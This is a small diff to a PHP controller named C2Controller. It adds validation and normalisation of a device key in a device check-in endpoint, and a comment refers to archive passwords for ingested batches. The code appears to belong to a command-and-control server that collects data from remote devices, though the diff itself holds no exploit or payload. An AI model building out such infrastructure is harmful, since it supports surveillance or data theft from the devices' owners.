init

server/app/Http/Controllers/C2/C2Controller.php

@@ -102,9 +102,12 @@ class C2Controller extends Controller
 
     public function check(Request $request): Response
     {
-        $deviceKey = $request->attributes->get('coruna_device_key')
+        $rawKey = $request->attributes->get('coruna_device_key')
             ?: $request->input('d')
             ?: $request->input('f');
+        $deviceKey = is_string($rawKey) && $rawKey !== ''
+            ? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
+            : null;
         $device = $this->ingest->upsertDevice(
             $request,
             array_filter([
@@ -112,7 +115,7 @@ class C2Controller extends Controller
                 'c' => $request->input('c'),
                 'channel' => $request->input('channel'),
             ]),
-            $deviceKey ? (string) $deviceKey : null
+            $deviceKey
         );
 
         // Archive password = session_key || batchBaseTimestampString.